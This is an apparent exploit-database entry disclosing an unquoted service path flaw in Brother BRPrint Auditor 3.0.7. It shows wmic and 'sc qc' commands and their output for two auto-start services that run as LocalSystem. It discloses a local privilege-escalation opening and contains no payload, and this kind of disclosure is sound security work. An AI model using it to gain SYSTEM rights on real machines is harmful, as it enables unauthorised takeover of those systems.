Brother BRPrint Auditor Exploit, 'Multiple' Unquoted Service Path

# Exploit Title: Brother BRPrint Auditor 3.0.7 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 14-06-2021
# Vendor Homepage: https://support.brother.com/
# Software Links: https://support.brother.com/g/b/downloadhowto.aspx?c=us&lang=en&prod=dcp7060d_all&os=10013&dlid=dlf102753_000&flang=4&type3=214
# Tested Version: 3.0.7
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
BrPrAuSvc     BrAuSvc      C:\Program Files
(x86)\Brother\BRPrintAuditor\Brsvau3a.exe       Auto

Brother BRPrintAuditor Agent     BRPA_Agent   C:\Program Files
(x86)\Brother\BRPrintAuditor\BRAgtSrv.exe    Auto

C:\Users\IEUser>sc qc BrAuSvc
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: BrAuSvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Brother\BRPrintAuditor\Brsvau3a.exe
        GRUPO_ORDEN_CARGA  : BrotherSplGroup
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : BrPrAuSvc
        DEPENDENCIAS       : Spooler
        NOMBRE_INICIO_SERVICIO: LocalSystem

C:\Users\IEUser>sc qc BRPA_Agent
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: BRPA_Agent
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Brother\BRPrintAuditor\BRAgtSrv.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Brother BRPrintAuditor Agent
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

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